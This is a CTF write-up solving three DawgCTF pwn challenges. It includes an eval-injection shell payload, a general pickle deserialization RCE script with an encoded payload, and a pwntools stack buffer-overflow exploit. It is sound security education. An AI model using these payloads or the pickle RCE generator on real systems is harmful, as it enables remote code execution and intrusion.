Pwn
Here is a subset of some of the Pwn challenges solved during the competition
No Step on Snek (75 pts)
I heard you guys like python pwnables
nc umbccd.io 4000
Author: trashcanna
Exploring it
Welcome to the aMAZEing Maze
Your goal is to get from one side of the board to the other.
Your character is represented by "OO" and the finish will be "FF"
W/w - Move up!
A/a - Move left!
S/s - Move down!
D/d - Move right!
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|OO | | | | |
+ +--+--+ +--+ + +--+--+--+ + +--+--+ + +
| | | | | | | | | | |
+--+ + +--+ + + + + + + +--+ + + + +
| | | | | | | | | | | | |
+ + + + + + +--+--+--+ +--+--+--+ + + +
| | | | | | |
+ +--+ +--+--+--+--+--+--+--+ +--+--+--+--+ +
| | | | | | | | |
+ + + + +--+--+ +--+--+--+ + +--+ + + +
| | | | | | | | | | |
+ + + + + + + + +--+ +--+--+ +--+--+--+
| | | | | | | | | | | |
+ + + +--+ + +--+ + +--+--+ +--+ + +--+
| | | | | | | |
+--+ + + +--+--+--+--+ +--+--+--+--+--+--+ +
| | | | | | | |
+ + +--+--+ + + +--+ + + + +--+ +--+ +
| | | | | | | | | | |
+ + + +--+--+--+ +--+--+ +--+--+--+ + + +
| | | | | | | | |
+ + +--+ + + + + +--+--+--+ +--+--+ +--+
| | | | | | | | | |
+ +--+--+--+--+--+ + + +--+ +--+ + +--+ +
| | | | | | | |
+--+--+--+--+--+ +--+--+ + +--+ + +--+--+ +
| | | | | | | | | |
+ +--+ + +--+ + + + + + +--+--+ + + +
| | | | | | | | | | | | | |
+ + +--+--+ +--+ + + + + + + + + + +
| | | | | | FF|
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Make your move:
Right off the bat, we see a fun game to play. However, it freezes upon input.
As usual, by fuzzing it and randomly spamming characters from my keyboard, we get an error.
Traceback (most recent call last):
File "/home/challuser/nosteponsnek.py", line 73, in <module>
__main__()
File "/home/challuser/nosteponsnek.py", line 69, in __main__
still_playing = make_move(maze)
File "/home/challuser/nosteponsnek.py", line 27, in make_move
move = input("Make your move: ")
File "<string>", line 1
1p ,sp-`k
^
SyntaxError: invalid syntax
Seems like the input is being evalued as Python code. Using the classic method, we can easily obtain a shell
Payload: __import__("os").system("sh")
Flag: DawgCTF{bUt_iT'[email protected]_1nput}
JellySpotters (100 pts)
The leader of the Jellyspotters has hired you to paint them a poster for their convention, using this painting program. Also, the flag is in ~/flag.txt.
nc umbccd.io 4200
Author: nb
Looking at the binary, we can fuzz a bit
Welcome to the Paint Program!
Paint us a new poster for the Jellyspotters 2021 convention. Make Kevin proud.
Type 'help' for help.
> help
Listing commands...
display Display the canvas
clearall Clear the canvas
set [row] [col] Set a particular pixel
clear [row] [col] Clear a particular pixel
export Export the canvas state
import [canvas] Import a previous canvas
exit Quit the program
> import `1`uqA``@#@#(!&$
Importing...
Traceback (most recent call last):
File "/home/challuser/jellyspotters.py", line 67, in <module>
imp = pickle.loads(base64.b64decode(split[1]))
_pickle.UnpicklingError: invalid load key, '\xd6'.
Oo, pickling error. Sounds like a Python insecure deserialization attack. We can craft a quick python script to create a base64 encoded pickle to exploit this.
import pickle
import sys
import base64
DEFAULT_COMMAND = "cat ~/flag.txt"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print(base64.b64encode(pickle.dumps(PickleRce())))
By putting the payload gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA5jYXQgfi9mbGFnLnR4dJSFlFKULg==
into the program, we get the flag!
Flag: DawgCTF{funn13st_s#$&_ive_3v3r_s33n}
Bofit (125 pts)
Taking a look at the problem statement.
Because Bop It is copyrighted, apparently
nc umbccd.io 4100
Author: trashcanna
This time, we are provided with the source code and a binary.
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
void win_game(){
char buf[100];
FILE* fptr = fopen("flag.txt", "r");
fgets(buf, 100, fptr);
printf("%s", buf);
}
int play_game(){
char c;
char input[20];
int choice;
bool correct = true;
int score = 0;
srand(time(0));
while(correct){
choice = rand() % 4;
switch(choice){
case 0:
printf("BOF it!\n");
c = getchar();
if(c != 'B') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 1:
printf("Pull it!\n");
c = getchar();
if(c != 'P') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 2:
printf("Twist it!\n");
c = getchar();
if(c != 'T') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 3:
printf("Shout it!\n");
gets(input);
if(strlen(input) < 10) correct = false;
break;
}
score++;
}
return score;
}
void welcome(){
char input;
printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n");
printf("You'll have a second to respond to a series of commands\n");
printf("BOF it: Reply with a capital \'B\'\n");
printf("Pull it: Reply with a capital \'P\'\n");
printf("Twist it: Reply with a capital \'T\'\n");
printf("Shout it: Reply with a string of at least 10 characters\n");
printf("BOF it to start!\n");
input = getchar();
while(input != 'B'){
printf("BOF it to start!\n");
input = getchar();
}
while((input = getchar()) != '\n' && input != EOF);
}
int main(){
int score = 0;
welcome();
score = play_game();
printf("Congrats! Final score: %d\n", score);
return 0;
}
This is a classic buffer overflow. By overflowing when the binary prompt for a Shout
via the gets()
command will successfully redirect code to the win_game()
function. This can be done by overflowing the buffer on the stack and then entering a wrong answer which will break out of the while loop and return to the address we want.
Using GDB, we can use pattern create
followed by pattern search
in gef
to identify the offset to %rbp
which can be calculated for the %rip
.
from pwn import *
context.log_level = 'WARN'
if args.REMOTE:
p = remote('umbccd.io', 4100)
else:
p = process('./bofit')
# gdb.attach(p)
bin = ELF('./bofit')
win_addr = bin.symbols["win_game"]
# win_addr = 0x0000000000401256
payload = b'A' * 48
payload += b'B' * 8
payload += p64(win_addr)
# print(payload)
p.recvuntil(b'!')
p.sendlineafter(b'!\n', b'B')
while True:
a = p.recvlineS()
print(a)
if 'Twist' in a:
p.sendline(b'T')
elif 'Pull' in a:
p.sendline(b'P')
elif 'BOF' in a:
p.sendline(b'B')
else:
p.sendline(payload)
p.recvlineS()
p.sendline(b'Z')
p.interactive()
With that, we get the flag!
Flag: DawgCTF{n3w_h1gh_sc0r3!!}